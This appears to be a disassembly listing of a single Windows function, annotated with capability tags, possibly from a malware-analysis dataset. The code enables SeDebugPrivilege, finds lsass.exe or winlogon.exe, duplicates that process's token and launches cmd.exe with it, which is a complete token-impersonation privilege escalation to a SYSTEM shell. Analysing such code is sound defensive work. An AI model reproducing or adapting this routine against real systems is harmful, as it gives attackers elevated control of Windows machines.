Function at 0x1400110ff
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended
Enumerate processes
Impersonate user

Disassembly:
jmp 0x140011b40
push rbp
push rsi
push rdi
sub rsp, 0x730
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x128
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x6d8], rax
lea rcx, [0x1400240ad]
call fcn.1400113f2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140011bb3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_process_token._Error:__d_n
call fcn.14001102d
jmp 0x140011f53
lea r8, [rbp + 0x28]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140011bed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_lookup_debug_privilege._Error:__d_n
call fcn.14001102d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011f53
mov dword [rbp + 0x48], 1
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x4c], rax
mov dword [rbp + 0x54], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140011c52
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_adjust_token_privileges._Error:__d_n
call fcn.14001102d
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011f53
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x74], 0
mov dword [rbp + 0x94], 0
mov dword [rbp + 0xc0], 0x238
xor edx, edx
mov ecx, 2
call fcn.1400111e0
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0xffffffffffffffff
jne 0x140011cad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_process_snapshot._Error:__d_n
call fcn.14001102d
jmp 0x140011f53
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp + 0x318]
call fcn.140011271
test eax, eax
je 0x140011d22
lea rdx, str.lsass.exe
lea rcx, [rbp + 0xec]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140011ce7
mov eax, dword [rbp + 0xc8]
mov dword [rbp + 0x74], eax
jmp 0x140011d0b
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0xec]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140011d0b
mov eax, dword [rbp + 0xc8]
mov dword [rbp + 0x94], eax
lea rdx, [rbp + 0xc0]
mov rcx, qword [rbp + 0x318]
call fcn.140011398
test eax, eax
jne 0x140011cc4
mov rcx, qword [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp + 0x74]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x338], 0
jne 0x140011d6c
mov r8d, dword [rbp + 0x94]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x338], 0
jne 0x140011d8f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_target_process._Error:__d_n
call fcn.14001102d
jmp 0x140011f53
lea r8, [rbp + 0x358]
mov edx, 2
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140011dd2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_process_token._Error:__d_n
call fcn.14001102d
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011f53
lea rax, [rbp + 0x378]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x140011e38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_duplicate_token._Error:__d_n
call fcn.14001102d
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011f53
mov rcx, qword [rbp + 0x358]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x3a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x3a0], 0x68
lea rax, str.winsta0default
mov qword [rbp + 0x3b0], rax
lea rax, [rbp + 0x428]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x458]
lea rcx, str.C:WindowsSystem32cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x428]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x20
lea r9, [rbp + 0x458]
xor r8d, r8d
mov edx, 2
mov rcx, qword [rbp + 0x378]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x140011f20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_process_with_token._Error:__d_n
call fcn.14001102d
mov rcx, qword [rbp + 0x378]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011f53
lea rcx, str.cmd.exe_started_successfully._n
call fcn.14001102d
mov rcx, qword [rbp + 0x430]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x378]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
lea rdx, [0x14001b1d0]
call fcn.140011370
mov rcx, qword [rbp + 0x6d8]
xor rcx, rbp
call fcn.1400111f4
lea rsp, [rbp + 0x6e0]
pop rdi
pop rsi
pop rbp
ret